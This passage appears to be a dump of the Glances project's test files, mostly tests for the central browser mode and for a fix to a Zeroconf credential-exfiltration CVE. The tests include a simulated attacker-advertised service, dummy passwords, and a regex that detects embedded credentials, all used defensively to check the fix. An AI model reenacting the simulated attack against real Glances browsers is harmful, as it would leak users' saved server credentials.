serverlist_block,\n        source,\n        count=1,\n        flags=re.DOTALL,\n    )\n    source = re.sub(\n        r'\\[passwords\\].*?(?=\\n\\[|\\Z)',\n        password_block,\n        source,\n        count=1,\n        flags=re.DOTALL,\n    )\n\n    conf_file = tmp_path / 'glances.conf'\n    conf_file.write_text(source, encoding='utf-8')\n    return str(conf_file)\n\n\n# ---------------------------------------------------------------------------\n# Fixtures\n# ---------------------------------------------------------------------------\n\n\n@pytest.fixture(scope='module')\ndef browser_conf_path(tmp_path_factory):\n    return _generate_browser_conf(tmp_path_factory.mktemp('browser_api_conf'))\n\n\n@pytest.fixture(scope='module')\ndef glances_browser_server(browser_conf_path):\n    \"\"\"Start a Glances web server in browser mode with the generated config.\"\"\"\n    if os.path.isfile('.venv/bin/python'):\n        cmdline = '.venv/bin/python'\n    else:\n        cmdline = 'python'\n    cmdline += (\n        f' -m glances -B 0.0.0.0 -w --browser'\n        f' -p {SERVER_PORT} --disable-webui --disable-autodiscover'\n        f' -C {browser_conf_path}'\n    )\n    args = shlex.split(cmdline)\n    pid = subprocess.Popen(args)\n    # Wait for the server to start\n    time.sleep(5)\n    yield pid\n    pid.terminate()\n    pid.wait(timeout=5)\n\n\n# ---------------------------------------------------------------------------\n# Helper\n# ---------------------------------------------------------------------------\n\n\ndef http_get(url):\n    return requests.get(url, headers={'Accept-encoding': 'identity'}, timeout=10)\n\n\n# ---------------------------------------------------------------------------\n# Tests – /api/<version>/serverslist endpoint\n# ---------------------------------------------------------------------------\n\n\nclass TestServersListEndpoint:\n    \"\"\"Validate the /serverslist API endpoint.\"\"\"\n\n    def test_serverslist_returns_200(self, glances_browser_server):\n        req = http_get(f'{URL}/serverslist')\n        assert req.ok, f'Expected 200, got {req.status_code}'\n\n    def test_serverslist_returns_list(self, glances_browser_server):\n        req = http_get(f'{URL}/serverslist')\n        data = req.json()\n        assert isinstance(data, list)\n\n    def test_serverslist_has_servers(self, glances_browser_server):\n        \"\"\"At least the configured static servers should be returned.\"\"\"\n        req = http_get(f'{URL}/serverslist')\n        data = req.json()\n        assert len(data) >= len(STATIC_SERVERS), f'Expected at least {len(STATIC_SERVERS)} servers, got {len(data)}'\n\n    def test_serverslist_server_has_required_fields(self, glances_browser_server):\n        \"\"\"Each server entry should have essential fields.\"\"\"\n        req = http_get(f'{URL}/serverslist')\n        required_keys = {'key', 'name', 'ip', 'port', 'protocol', 'status', 'type'}\n        for server in req.json():\n            missing = required_keys - set(server.keys())\n            assert not missing, f'Server {server.get(\"name\")} missing keys: {missing}'\n\n    def test_serverslist_server_types(self, glances_browser_server):\n        req = http_get(f'{URL}/serverslist')\n        for server in req.json():\n            assert server['type'] in ('STATIC', 'DYNAMIC')\n\n    def test_serverslist_server_protocols(self, glances_browser_server):\n        req = http_get(f'{URL}/serverslist')\n        for server in req.json():\n            assert server['protocol'] in ('rpc', 'rest')\n\n\n# ---------------------------------------------------------------------------\n# Tests – Credential sanitization in API responses (CVE fix validation)\n# ---------------------------------------------------------------------------\n\n\nclass TestServersListCredentialSanitization:\n    \"\"\"Verify that password and uri fields are stripped from API responses.\n\n    This validates the fix for CVE-2026-32633.\n    \"\"\"\n\n    def test_no_password_field_in_response(self, glances_browser_server):\n        \"\"\"The 'password' field must be stripped from all server entries.\"\"\"\n        req = http_get(f'{URL}/serverslist')\n        for server in req.json():\n            assert 'password' not in server, f'Server {server.get(\"name\")} still exposes \"password\" field'\n\n    def test_no_uri_field_in_response(self, glances_browser_server):\n        \"\"\"The 'uri' field must be stripped from all server entries.\"\"\"\n        req = http_get(f'{URL}/serverslist')\n        for server in req.json():\n            assert 'uri' not in server, f'Server {server.get(\"name\")} still exposes \"uri\" field'\n\n    def test_no_credential_in_any_field(self, glances_browser_server):\n        \"\"\"No field value should contain embedded credentials (user:pass@ pattern).\"\"\"\n        req = http_get(f'{URL}/serverslist')\n        cred_pattern = re.compile(r'://[^/]*:[^/]*@')\n        for server in req.json():\n            for key, value in server.items():\n                if isinstance(value, str):\n                    assert not cred_pattern.search(value), (\n                        f'Server {server.get(\"name\")}, field \"{key}\" contains embedded credentials: {value}'\n                    )\n\n\n# ---------------------------------------------------------------------------\n# Tests – _sanitize_server static method\n# ---------------------------------------------------------------------------\n\n\nclass TestSanitizeServer:\n    \"\"\"Unit tests for GlancesRestfulApi._sanitize_server (no server needed).\"\"\"\n\n    def test_strips_password(self):\n        server = {'name': 'host', 'password': 'secret', 'status': 'ONLINE'}\n        safe = GlancesRestfulApi._sanitize_server(server)\n        assert 'password' not in safe\n\n    def test_strips_uri(self):\n        server = {'name': 'host', 'uri': 'http://u:p@host:61209', 'status': 'ONLINE'}\n        safe = GlancesRestfulApi._sanitize_server(server)\n        assert 'uri' not in safe\n\n    def test_preserves_other_fields(self):\n        server = {\n            'name': 'host',\n            'ip': '10.0.0.1',\n            'port': 61209,\n            'protocol': 'rpc',\n            'status': 'ONLINE',\n            'type': 'STATIC',\n            'password': 'secret',\n            'uri': 'http://u:p@host:61209',\n        }\n        safe = GlancesRestfulApi._sanitize_server(server)\n        assert safe['name'] == 'host'\n        assert safe['ip'] == '10.0.0.1'\n        assert safe['port'] == 61209\n        assert safe['protocol'] == 'rpc'\n        assert safe['status'] == 'ONLINE'\n        assert safe['type'] == 'STATIC'\n\n    def test_does_not_mutate_original(self):\n        server = {'name': 'host', 'password': 'secret', 'uri': 'http://x'}\n        GlancesRestfulApi._sanitize_server(server)\n        assert 'password' in server\n        assert 'uri' in server\n\n    def test_handles_missing_fields(self):\n        \"\"\"Server dict without password/uri should not raise.\"\"\"\n        server = {'name': 'host', 'status': 'ONLINE'}\n        safe = GlancesRestfulApi._sanitize_server(server)\n        assert safe == server\n\n\n# ---------------------------------------------------------------------------\n# Tests – Multiple sequential requests (stability)\n# ---------------------------------------------------------------------------\n\n\nclass TestServersListStability:\n    \"\"\"Ensure repeated calls return consistent, sanitized results.\"\"\"\n\n    def test_repeated_calls_consistent(self, glances_browser_server):\n        \"\"\"Multiple sequential requests should return the same server count.\"\"\"\n        counts = []\n        for _ in range(3):\n            req = http_get(f'{URL}/serverslist')\n            assert req.ok\n            counts.append(len(req.json()))\n        assert len(set(counts)) == 1, f'Inconsistent server counts across calls: {counts}'\n\n    def test_repeated_calls_never_leak_credentials(self, glances_browser_server):\n        \"\"\"Credentials must remain stripped across multiple polling cycles.\"\"\"\n        for _ in range(3):\n            req = http_get(f'{URL}/serverslist')\n            for server in req.json():\n                assert 'password' not in server\n                assert 'uri' not in server\n"
  },
  {
    "path": "tests/test_browser_tui.py",
    "content": "#!/usr/bin/env python\n#\n# Glances - An eye on your system\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Glances unit tests for the TUI Central Browser mode.\n\nTests cover:\n- Config generation from the default glances.conf with browser options enabled\n- Static server list loading from config\n- Password list loading and lookup (host-specific, default, missing)\n- URI generation (with/without credentials, static vs dynamic servers)\n- Credential sanitization: dynamic (Zeroconf) servers must not inherit saved passwords\n- Credential sanitization: URIs for dynamic servers use IP, not advertised name\n\"\"\"\n\nimport re\nfrom pathlib import Path\nfrom unittest.mock import patch\n\nimport pytest\n\nfrom glances.config import Config\nfrom glances.password_list import GlancesPasswordList\nfrom glances.servers_list import GlancesServersList\n\n# ---------------------------------------------------------------------------\n# Helpers – generate a browser-enabled config from the default glances.conf\n# ---------------------------------------------------------------------------\n\nDEFAULT_CONF = Path(__file__).resolve().parent.parent / 'conf' / 'glances.conf'\n\n# Servers injected into the generated config\n# All names must be DNS-resolvable (localhost, 127.0.0.1) to avoid gethostbyname errors\nSTATIC_SERVERS = [\n    {'name': 'localhost', 'alias': 'Local RPC Server', 'port': '61209', 'protocol': 'rpc'},\n    {'name': 'localhost', 'alias': 'Local REST Server', 'port': '61208', 'protocol': 'rest'},\n    {'name': '127.0.0.1', 'alias': 'Loopback Server', 'port': '61210', 'protocol': 'rpc'},\n]\n\nPASSWORDS = {\n    'localhost': 'localpwd',\n    '127.0.0.1': 'loopbackpwd',\n    'default': 'defaultpassword',\n}\n\n\ndef _generate_browser_conf(tmp_path):\n    \"\"\"Read the default glances.conf, uncomment and populate [serverlist] and\n    [passwords] sections, write the result to *tmp_path* and return its path.\n\n    This is regenerated at every test run so the test stays in sync with the\n    upstream default config without manual maintenance.\n    \"\"\"\n    source = DEFAULT_CONF.read_text(encoding='utf-8')\n\n    # --- Build [serverlist] replacement ---\n    serverlist_lines = [\n        '[serverlist]',\n        'columns=system:hr_name,load:min5,cpu:total,mem:percent',\n    ]\n    for idx, srv in enumerate(STATIC_SERVERS, start=1):\n        serverlist_lines.append(f'server_{idx}_name={srv[\"name\"]}')\n        serverlist_lines.append(f'server_{idx}_alias={srv[\"alias\"]}')\n        serverlist_lines.append(f'server_{idx}_port={srv[\"port\"]}')\n        serverlist_lines.append(f'server_{idx}_protocol={srv[\"protocol\"]}')\n    serverlist_block = '\\n'.join(serverlist_lines) + '\\n'\n\n    # --- Build [passwords] replacement ---\n    password_lines = ['[passwords]']\n    for host, pwd in PASSWORDS.items():\n        password_lines.append(f'{host}={pwd}')\n    password_block = '\\n'.join(password_lines) + '\\n'\n\n    # Replace existing sections in-place\n    # Match from section header to right before the next section header (or EOF)\n    source = re.sub(\n        r'\\[serverlist\\].*?(?=\\n\\[|\\Z)',\n        serverlist_block,\n        source,\n        count=1,\n        flags=re.DOTALL,\n    )\n    source = re.sub(\n        r'\\[passwords\\].*?(?=\\n\\[|\\Z)',\n        password_block,\n        source,\n        count=1,\n        flags=re.DOTALL,\n    )\n\n    conf_file = tmp_path / 'glances.conf'\n    conf_file.write_text(source, encoding='utf-8')\n    return str(conf_file)\n\n\n# ---------------------------------------------------------------------------\n# Fixtures\n# ---------------------------------------------------------------------------\n\n\n@pytest.fixture(scope='module')\ndef browser_conf_path(tmp_path_factory):\n    \"\"\"Generate a browser-enabled config file once per module.\"\"\"\n    return _generate_browser_conf(tmp_path_factory.mktemp('browser_conf'))\n\n\n@pytest.fixture(scope='module')\ndef browser_config(browser_conf_path):\n    \"\"\"Return a Config object loaded from the generated browser config.\"\"\"\n    return Config(browser_conf_path)\n\n\n@pytest.fixture(scope='module')\ndef browser_args(browser_conf_path):\n    \"\"\"Return a minimal args namespace suitable for GlancesServersList.\"\"\"\n    from glances.main import GlancesMain\n\n    testargs = ['glances', '--browser', '--disable-autodiscover', '-C', browser_conf_path]\n    with patch('sys.argv', testargs):\n        core = GlancesMain()\n    return core.get_args()\n\n\n@pytest.fixture(scope='module')\ndef servers_list(browser_config, browser_args):\n    \"\"\"Return a fully initialised GlancesServersList (autodiscovery disabled).\"\"\"\n    return GlancesServersList(config=browser_config, args=browser_args)\n\n\n# ---------------------------------------------------------------------------\n# Tests – Config generation\n# ---------------------------------------------------------------------------\n\n\nclass TestBrowserConfigGeneration:\n    \"\"\"Verify the generated config has the expected sections and values.\"\"\"\n\n    def test_serverlist_section_exists(self, browser_config):\n        assert browser_config.has_section('serverlist')\n\n    def test_passwords_section_exists(self, browser_config):\n        assert browser_config.has_section('passwords')\n\n    def test_server_count(self, browser_config):\n        \"\"\"All defined servers should be loadable.\"\"\"\n        count = 0\n        for i in range(1, 256):\n            if browser_config.get_value('serverlist', f'server_{i}_name') is not None:\n                count += 1\n        assert count == len(STATIC_SERVERS)\n\n    def test_password_values(self, browser_config):\n        items = dict(browser_config.items('passwords'))\n        for host, pwd in PASSWORDS.items():\n            assert items[host] == pwd\n\n\n# ---------------------------------------------------------------------------\n# Tests – Static server list loading\n# ---------------------------------------------------------------------------\n\n\nclass TestStaticServerList:\n    \"\"\"Verify GlancesStaticServer correctly loads servers from config.\"\"\"\n\n    def test_server_list_length(self, servers_list):\n        servers = servers_list.get_servers_list()\n        assert len(servers) == len(STATIC_SERVERS)\n\n    def test_server_fields(self, servers_list):\n        \"\"\"Each server dict must have the expected keys.\"\"\"\n        required_keys = {'key', 'name', 'ip', 'port', 'protocol', 'username', 'password', 'status', 'type'}\n        for server in servers_list.get_servers_list():\n            assert required_keys.issubset(server.keys()), f\"Missing keys in {server}\"\n\n    def test_server_names(self, servers_list):\n        names = [s['name'] for s in servers_list.get_servers_list()]\n        for srv in STATIC_SERVERS:\n            assert srv['name'] in names\n\n    def test_server_protocols(self, servers_list):\n        for server in servers_list.get_servers_list():\n            assert server['protocol'] in ('rpc', 'rest')\n\n    def test_server_type_is_static(self, servers_list):\n        for server in servers_list.get_servers_list():\n            assert server['type'] == 'STATIC'\n\n    def test_server_initial_status(self, servers_list):\n        for server in servers_list.get_servers_list():\n            assert server['status'] == 'UNKNOWN'\n\n    def test_server_default_username(self, servers_list):\n        for server in servers_list.get_servers_list():\n            assert server['username'] == 'glances'\n\n    def test_server_default_empty_password(self, servers_list):\n        for server in servers_list.get_servers_list():\n            assert server['password'] == ''\n\n\n# ---------------------------------------------------------------------------\n# Tests – Password list\n# ---------------------------------------------------------------------------\n\n\nclass TestPasswordList:\n    \"\"\"Verify GlancesPasswordList loading and lookup.\"\"\"\n\n    def test_host_specific_password(self, servers_list):\n        assert servers_list.password.get_password('localhost') == 'localpwd'\n\n    def test_loopback_password(self, servers_list):\n        assert servers_list.password.get_password('127.0.0.1') == 'loopbackpwd'\n\n    def test_default_fallback(self, servers_list):\n        \"\"\"Unknown host should fall back to 'default' password.\"\"\"\n        assert servers_list.password.get_password('unknown-host') == 'defaultpassword'\n\n    def test_no_password_without_default(self):\n        \"\"\"Without a default entry, unknown host should return None.\"\"\"\n        pwd = GlancesPasswordList()\n        pwd._password_dict = {'localhost': 'localpwd'}\n        assert pwd.get_password('unknown-host') is None\n\n\n# ---------------------------------------------------------------------------\n# Tests – Columns\n# ---------------------------------------------------------------------------\n\n\nclass TestColumnsDefinition:\n    \"\"\"Verify columns parsing from config.\"\"\"\n\n    def test_columns_loaded(self, servers_list):\n        columns = servers_list.get_columns()\n        assert len(columns) > 0\n\n    def test_columns_structure(self, servers_list):\n        for col in servers_list.get_columns():\n            assert 'plugin' in col\n            assert 'field' in col\n\n    def test_columns_values(self, servers_list):\n        plugins = [c['plugin'] for c in servers_list.get_columns()]\n        assert 'system' in plugins\n        assert 'cpu' in plugins\n        assert 'mem' in plugins\n\n\n# ---------------------------------------------------------------------------\n# Tests – URI generation for STATIC servers\n# ---------------------------------------------------------------------------\n\n\nclass TestGetUriStatic:\n    \"\"\"Verify URI generation for static servers.\"\"\"\n\n    def test_uri_without_password(self, servers_list):\n        \"\"\"Static server with empty password → URI without credentials.\"\"\"\n        server = {\n            'name': 'myhost',\n            'ip': '10.0.0.1',\n            'port': 61209,\n            'username': 'glances',\n            'password': '',\n            'status': 'ONLINE',\n            'type': 'STATIC',\n        }\n        uri = servers_list.get_uri(server)\n        assert uri == 'http://myhost:61209'\n        assert '@' not in uri\n\n    def test_uri_with_password(self, servers_list):\n        \"\"\"Static server with a non-empty password → URI with credentials.\"\"\"\n        server = {\n            'name': 'myhost',\n            'ip': '10.0.0.1',\n            'port': 61209,\n            'username': 'glances',\n            'password': 'somehash',\n            'status': 'ONLINE',\n            'type': 'STATIC',\n        }\n        uri = servers_list.get_uri(server)\n        assert 'glances:somehash@myhost:61209' in uri\n\n    def test_uri_protected_uses_saved_password(self, servers_list):\n        \"\"\"PROTECTED static server with a saved password should get the hash injected.\"\"\"\n        server = {\n            'name': 'localhost',\n            'ip': '127.0.0.1',\n            'port': 61209,\n            'username': 'glances',\n            'password': 'placeholder',\n            'status': 'PROTECTED',\n            'type': 'STATIC',\n        }\n        uri = servers_list.get_uri(server)\n        # Password should have been replaced by the hash of 'localpwd'\n        expected_hash = servers_list.password.get_hash('localpwd')\n        assert expected_hash in uri\n        assert server['password'] == expected_hash\n\n    def test_uri_protected_default_fallback(self, servers_list):\n        \"\"\"PROTECTED static server with unknown name falls back to 'default' password.\"\"\"\n        server = {\n            'name': 'unknown-static-host',\n            'ip': '10.0.0.2',\n            'port': 61209,\n            'username': 'glances',\n            'password': 'placeholder',\n            'status': 'PROTECTED',\n            'type': 'STATIC',\n        }\n        uri = servers_list.get_uri(server)\n        expected_hash = servers_list.password.get_hash('defaultpassword')\n        assert expected_hash in uri\n\n    def test_uri_static_uses_name_not_ip(self, servers_list):\n        \"\"\"Static server URI should use server['name'] as the host.\"\"\"\n        server = {\n            'name': 'myhost.local',\n            'ip': '192.168.1.100',\n            'port': 61209,\n            'username': 'glances',\n            'password': '',\n            'status': 'ONLINE',\n            'type': 'STATIC',\n        }\n        uri = servers_list.get_uri(server)\n        assert 'myhost.local' in uri\n        assert '192.168.1.100' not in uri\n\n\n# ---------------------------------------------------------------------------\n# Tests – URI generation for DYNAMIC servers (CVE fix validation)\n# ---------------------------------------------------------------------------\n\n\nclass TestGetUriDynamic:\n    \"\"\"Verify that dynamic (Zeroconf) servers use IP and never inherit saved passwords.\n\n    These tests validate the fix for the Zeroconf credential exfiltration CVE.\n    \"\"\"\n\n    def test_uri_dynamic_uses_ip_not_name(self, servers_list):\n        \"\"\"DYNAMIC server URI must use the discovered IP, not the advertised name.\"\"\"\n        server = {\n            'name': 'attacker-controlled-name',\n            'ip': '192.168.1.50',\n            'port': 61209,\n            'username': 'glances',\n            'password': '',\n            'status': 'ONLINE',\n            'type': 'DYNAMIC',\n        }\n        uri = servers_list.get_uri(server)\n        assert '192.168.1.50' in uri\n        assert 'attacker-controlled-name' not in uri\n\n    def test_uri_dynamic_protected_no_saved_password(self, servers_list):\n        \"\"\"DYNAMIC PROTECTED server must NOT inherit saved or default passwords.\"\"\"\n        server = {\n            'name': 'localhost',  # name matches a saved password\n            'ip': '198.51.100.50',\n            'port': 61209,\n            'username': 'glances',\n            'password': 'placeholder',\n            'status': 'PROTECTED',\n            'type': 'DYNAMIC',\n        }\n        uri = servers_list.get_uri(server)\n        # The password should remain as 'placeholder' (not replaced by saved hash)\n        assert server['password'] == 'placeholder'\n        # URI should use IP\n        assert '198.51.100.50' in uri\n        assert 'localhost' not in uri\n\n    def test_uri_dynamic_no_default_password_fallback(self, servers_list):\n        \"\"\"DYNAMIC server with unknown name must NOT fall back to default password.\"\"\"\n        server = {\n            'name': 'fake-zeroconf-service',\n            'ip': '198.51.100.99',\n            'port': 61209,\n            'username': 'glances',\n            'password': 'placeholder',\n            'status': 'PROTECTED',\n            'type': 'DYNAMIC',\n        }\n        uri = servers_list.get_uri(server)\n        # password unchanged\n        assert server['password'] == 'placeholder'\n        # No hash of 'defaultpassword' should appear\n        default_hash = servers_list.password.get_hash('defaultpassword')\n        assert default_hash not in uri\n\n    def test_get_connect_host_static(self, servers_list):\n        server = {'name': 'myhost', 'ip': '10.0.0.1', 'type': 'STATIC'}\n        assert servers_list._get_connect_host(server) == 'myhost'\n\n    def test_get_connect_host_dynamic(self, servers_list):\n        server = {'name': 'advertised-name', 'ip': '10.0.0.2', 'type': 'DYNAMIC'}\n        assert servers_list._get_connect_host(server) == '10.0.0.2'\n\n    def test_get_preconfigured_password_static(self, servers_list):\n        server = {'name': 'localhost', 'type': 'STATIC'}\n        assert servers_list._get_preconfigured_password(server) == 'localpwd'\n\n    def test_get_preconfigured_password_dynamic_returns_none(self, servers_list):\n        server = {'name': 'localhost', 'type': 'DYNAMIC'}\n        assert servers_list._get_preconfigured_password(server) is None\n\n    def test_get_preconfigured_password_dynamic_no_default(self, servers_list):\n        \"\"\"Even with a 'default' password configured, dynamic servers get None.\"\"\"\n        server = {'name': 'unknown', 'type': 'DYNAMIC'}\n        assert servers_list._get_preconfigured_password(server) is None\n\n\n# ---------------------------------------------------------------------------\n# Tests – Simulated Zeroconf attack scenario\n# ---------------------------------------------------------------------------\n\n\nclass TestZeroconfAttackScenario:\n    \"\"\"End-to-end simulation of the Zeroconf credential exfiltration attack.\"\"\"\n\n    def test_attacker_advertised_server_no_credential_leak(self, servers_list):\n        \"\"\"Simulate: attacker advertises a fake Zeroconf service with a name matching\n        a real server. The browser marks it PROTECTED. Verify no credential is sent.\"\"\"\n        # Simulate a dynamic server entry as Zeroconf would create it\n        attacker_server = {\n            'key': 'evil-service:61209._glances._tcp.local.',\n            'name': 'localhost',  # attacker uses name of a real server\n            'ip': '198.51.100.66',  # attacker's IP\n            'port': 61209,\n            'protocol': 'rpc',\n            'username': 'glances',\n            'password': '',\n            'status': 'UNKNOWN',\n            'type': 'DYNAMIC',\n        }\n\n        # First probe: no password → URI without credentials\n        uri1 = servers_list.get_uri(attacker_server)\n        assert '@' not in uri1\n        assert '198.51.100.66' in uri1\n\n        # Simulate server responding 401 → status becomes PROTECTED\n        attacker_server['password'] = None\n        attacker_server['status'] = 'PROTECTED'\n\n        # Second probe: PROTECTED + DYNAMIC → must NOT inject saved password\n        uri2 = servers_list.get_uri(attacker_server)\n        # password stays None (converted to string in format)\n        assert attacker_server['password'] is None\n        # No credential hash in URI\n        localpwd_hash = servers_list.password.get_hash('localpwd')\n        default_hash = servers_list.password.get_hash('defaultpassword')\n        assert localpwd_hash not in uri2\n        assert default_hash not in uri2\n"
  },
  {
    "path": "tests/test_core.py",
    "content": "#!/usr/bin/env python\n#\n# Glances - An eye on your system\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n# Refactor by @ariel-anieli in 2024\n\n\"\"\"Glances unitary tests suite.\"\"\"\n\nimport json\nimport multiprocessing\nimport time\nimport unittest\nfrom datetime import datetime\nfrom unittest.mock import patch\n\n# Ugly hack waiting for Python 3.10 deprecation\ntry:\n    from datetime import UTC\nexcept ImportError:\n    from datetime import timezone\n\n    UTC = timezone.utc\n\nfrom glances import __version__\nfrom glances.events_list import GlancesEventsList\nfrom glances.filter import GlancesFilter, GlancesFilterList\nfrom glances.globals import (\n    BSD,\n    LINUX,\n    MACOS,\n    SUNOS,\n    WINDOWS,\n    WSL,\n    auto_unit,\n    pretty_date,\n    split_esc,\n    string_value_to_float,\n    subsample,\n)\nfrom glances.main import GlancesMain\nfrom glances.outputs.glances_bars import Bar\nfrom glances.plugins.fs.zfs import zfs_enable, zfs_stats\nfrom glances.plugins.npu import NpuPlugin\nfrom glances.plugins.plugin.dag import get_plugin_dependencies\nfrom glances.plugins.plugin.model import GlancesPluginModel\nfrom glances.stats import GlancesStats\nfrom glances.thresholds import (\n    GlancesThresholdCareful,\n    GlancesThresholdCritical,\n    GlancesThresholdOk,\n    GlancesThresholds,\n    GlancesThresholdWarning,\n)\n\n# Multiprocessing start method (on POSIX system)\nif LINUX or BSD or SUNOS or MACOS:\n    ctx_mp_fork = multiprocessing.get_context('fork')\nelse:\n    ctx_mp_fork = multiprocessing.get_context()\n\n# Global variables\n# =================\n\n# Init Glances core\ntestargs = [\"glances\", \"-C\", \"./conf/glances.conf\"]\nwith patch('sys.argv', testargs):\n    core = GlancesMain()\ntest_config = core.get_config()\ntest_args = core.get_args()\n\n# Init Glances stats\nstats = GlancesStats(config=test_config, args=test_args)\n\n# Unitest class\n# ==============\nprint(f'Unitary tests for Glances {__version__}')\n\n\nclass TestGlances(unittest.TestCase):\n    \"\"\"Test Glances class.\"\"\"\n\n    def setUp(self):\n        \"\"\"The function is called *every time* before test_*.\"\"\"\n        print('\\n' + '=' * 78)\n\n    def _common_plugin_tests(self, plugin):\n        \"\"\"Common method to test a Glances plugin\n        This method is called multiple time by test 100 to 1xx\"\"\"\n\n        assert stats.args.conf_file == './conf/glances.conf', 'Configuration file not correctly set in stats'\n        # But not take into account\n\n        # Reset all the stats, history and views\n        plugin_instance = stats.get_plugin(plugin)\n        plugin_instance.reset()  # reset stats\n        plugin_instance.reset_views()  # reset views\n        plugin_instance.reset_stats_history()  # reset history\n\n        # Check before update\n        self.assertEqual(plugin_instance.get_raw(), plugin_instance.stats_init_value)\n        self.assertEqual(plugin_instance.is_enabled(), True)\n        self.assertEqual(plugin_instance.is_disabled(), False)\n        self.assertEqual(plugin_instance.get_views(), {})\n        self.assertIsInstance(plugin_instance.get_raw(), (dict, list))\n        if plugin_instance.history_enable() and isinstance(plugin_instance.get_raw(), dict):\n            self.assertEqual(plugin_instance.get_key(), None)\n            self.assertTrue(\n                all(\n                    f in [h['name'] for h in plugin_instance.items_history_list]\n                    for f in plugin_instance.get_raw_history()\n                )\n            )\n        elif plugin_instance.history_enable() and isinstance(plugin_instance.get_raw(), list):\n            self.assertNotEqual(plugin_instance.get_key(), None)\n\n        # Update stats (add first element)\n        plugin_instance.update()\n        plugin_instance.update_stats_history()\n        plugin_instance.update_views()\n\n        # Check stats\n        self.assertIsInstance(plugin_instance.get_raw(), (dict, list))\n        if isinstance(plugin_instance.get_raw(), dict) and plugin_instance.get_raw() != {}:\n            res = False\n            for f in plugin_instance.fields_description:\n                if f not in plugin_instance.get_raw():\n                    print(f\"WARNING: {f} field not found in {plugin} plugin stats\")\n                else:\n                    res = True\n            self.assertTrue(res)\n        elif isinstance(plugin_instance.get_raw(), list) and len(plugin_instance.get_raw()) > 0:\n            res = False\n            for i in plugin_instance.get_raw():\n                for f in i:\n                    if f in plugin_instance.fields_description:\n                        res = True\n            self.assertTrue(res)\n\n        self.assertEqual(plugin_instance.get_raw(), plugin_instance.get_export())\n        self.assertEqual(plugin_instance.get_stats(), plugin_instance.get_json())\n        self.assertEqual(json.loads(plugin_instance.get_stats()), plugin_instance.get_raw())\n        if len(plugin_instance.fields_description) > 0:\n            # Get first item of the fields_description\n            first_field = list(plugin_instance.fields_description.keys())[0]\n            self.assertIsInstance(plugin_instance.get_raw_stats_item(first_field), dict)\n            self.assertIsInstance(json.loads(plugin_instance.get_stats_item(first_field)), dict)\n            self.assertIsInstance(plugin_instance.get_item_info(first_field, 'description'), str)\n        # Filter stats\n        current_stats = plugin_instance.get_raw()\n        if isinstance(plugin_instance.get_raw(), dict):\n            current_stats['foo'] = 'bar'\n            current_stats = plugin_instance.filter_stats(current_stats)\n            self.assertTrue('foo' not in current_stats)\n        elif isinstance(plugin_instance.get_raw(), list) and len(plugin_instance.get_raw()) > 0:\n            current_stats[0]['foo'] = 'bar'\n            current_stats = plugin_instance.filter_stats(current_stats)\n            self.assertTrue('foo' not in current_stats[0])\n\n        # Update stats (add second element)\n        plugin_instance.update()\n        plugin_instance.update_stats_history()\n        plugin_instance.update_views()\n\n        # Check stats history\n        # Not working on WINDOWS\n        if plugin_instance.history_enable() and not WINDOWS:\n            if isinstance(plugin_instance.get_raw(), dict):\n                first_history_field = plugin_instance.get_items_history_list()[0]['name']\n            elif isinstance(plugin_instance.get_raw(), list) and len(plugin_instance.get_raw()) > 0:\n                first_history_field = '_'.join(\n                    [\n                        plugin_instance.get_raw()[0][plugin_instance.get_key()],\n                        plugin_instance.get_items_history_list()[0]['name'],\n                    ]\n                )\n            if len(plugin_instance.get_raw()) > 0:\n                self.assertEqual(len(plugin_instance.get_raw_history(first_history_field)), 2)\n                self.assertGreater(\n                    plugin_instance.get_raw_history(first_history_field)[1][0],\n                    plugin_instance.get_raw_history(first_history_field)[0][0],\n                )\n                # Check time\n                self.assertEqual(\n                    plugin_instance.get_raw_history(first_history_field)[1][0].tzinfo,\n                    UTC,\n                )\n\n            # Update stats (add third element)\n            plugin_instance.update()\n            plugin_instance.update_stats_history()\n            plugin_instance.update_views()\n\n            if len(plugin_instance.get_raw()) > 0:\n                self.assertEqual(len(plugin_instance.get_raw_history(first_history_field)), 3)\n                self.assertEqual(len(plugin_instance.get_raw_history(first_history_field, 2)), 2)\n                self.assertIsInstance(json.loads(plugin_instance.get_stats_history()), dict)\n\n        # Check views\n        self.assertIsInstance(plugin_instance.get_views(), dict)\n        self.assertIsInstance(json.loads(plugin_instance.get_json_views()), dict)\n        self.assertEqual(json.loads(plugin_instance.get_json_views()), plugin_instance.get_views())\n        # Check views history\n        # Not working on WINDOWS\n        if plugin_instance.history_enable() and not WINDOWS:\n            if isinstance(plugin_instance.get_raw(), dict):\n                self.assertIsInstance(plugin_instance.get_views(first_history_field), dict)\n                self.assertTrue('decoration' in plugin_instance.get_views(first_history_field))\n            elif isinstance(plugin_instance.get_raw(), list) and len(plugin_instance.get_raw()) > 0:\n                first_history_field = plugin_instance.get_items_history_list()[0]['name']\n                first_item = plugin_instance.get_raw()[0][plugin_instance.get_key()]\n                self.assertIsInstance(plugin_instance.get_views(item=first_item, key=first_history_field), dict)\n                self.assertTrue('decoration' in plugin_instance.get_views(item=first_item, key=first_history_field))\n\n    def test_000_update(self):\n        \"\"\"Update stats (mandatory step for all the stats).\n\n        The update is made twice (for rate computation).\n        \"\"\"\n        print('INFO: [TEST_000] Test the stats update function')\n        try:\n            stats.update()\n        except Exception as e:\n            print(f'ERROR: Stats update failed: {e}')\n            self.assertTrue(False)\n        time.sleep(1)\n        try:\n            stats.update()\n        except Exception as e:\n            print(f'ERROR: Stats update failed: {e}')\n            self.assertTrue(False)\n\n        self.assertTrue(True)\n\n    def test_001_plugins(self):\n        \"\"\"Check mandatory plugins.\"\"\"\n        plugins_to_check = ['system', 'cpu', 'load', 'mem', 'memswap', 'network', 'diskio', 'fs']\n        print('INFO: [TEST_001] Check the mandatory plugins list: {}'.format(', '.join(plugins_to_check)))\n        plugins_list = stats.getPluginsList()\n        for plugin in plugins_to_check:\n            self.assertTrue(plugin in plugins_list)\n\n    def test_002_system(self):\n        \"\"\"Check SYSTEM plugin.\"\"\"\n        stats_to_check = ['hostname', 'os_name']\n        print('INFO: [TEST_002] Check SYSTEM stats: {}'.format(', '.join(stats_to_check)))\n        stats_grab = stats.get_plugin('system').get_raw()\n        for stat in stats_to_check:\n            # Check that the key exist\n            self.assertTrue(stat in stats_grab, msg=f'Cannot find key: {stat}')\n        print(f'INFO: SYSTEM stats: {stats_grab}')\n\n    def test_003_cpu(self):\n        